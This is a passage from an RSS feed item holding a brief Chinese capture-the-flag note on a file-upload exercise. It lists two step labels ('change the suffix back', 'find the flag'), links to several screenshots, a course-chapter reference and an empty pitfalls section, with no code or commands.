style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.改回后缀&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4.找flag&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;![[Pasted image 20260831201812.png|448]]&#xA;&lt;img alt=&#34;Pasted image 20260831201837&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831201837.png&#34;&gt;&#xA;3.&#xA;![[Pasted image 20260831202100.png|552]]&#xA;&lt;img alt=&#34;Pasted image 20260831202124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831202124.png&#34;&gt;&#xA;&lt;img alt=&#34;Pasted image 20260831202148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831202148.png&#34;&gt;&#xA;4.&#xA;![[Pasted image 20260831202443.png|555]]&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;文件上传&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
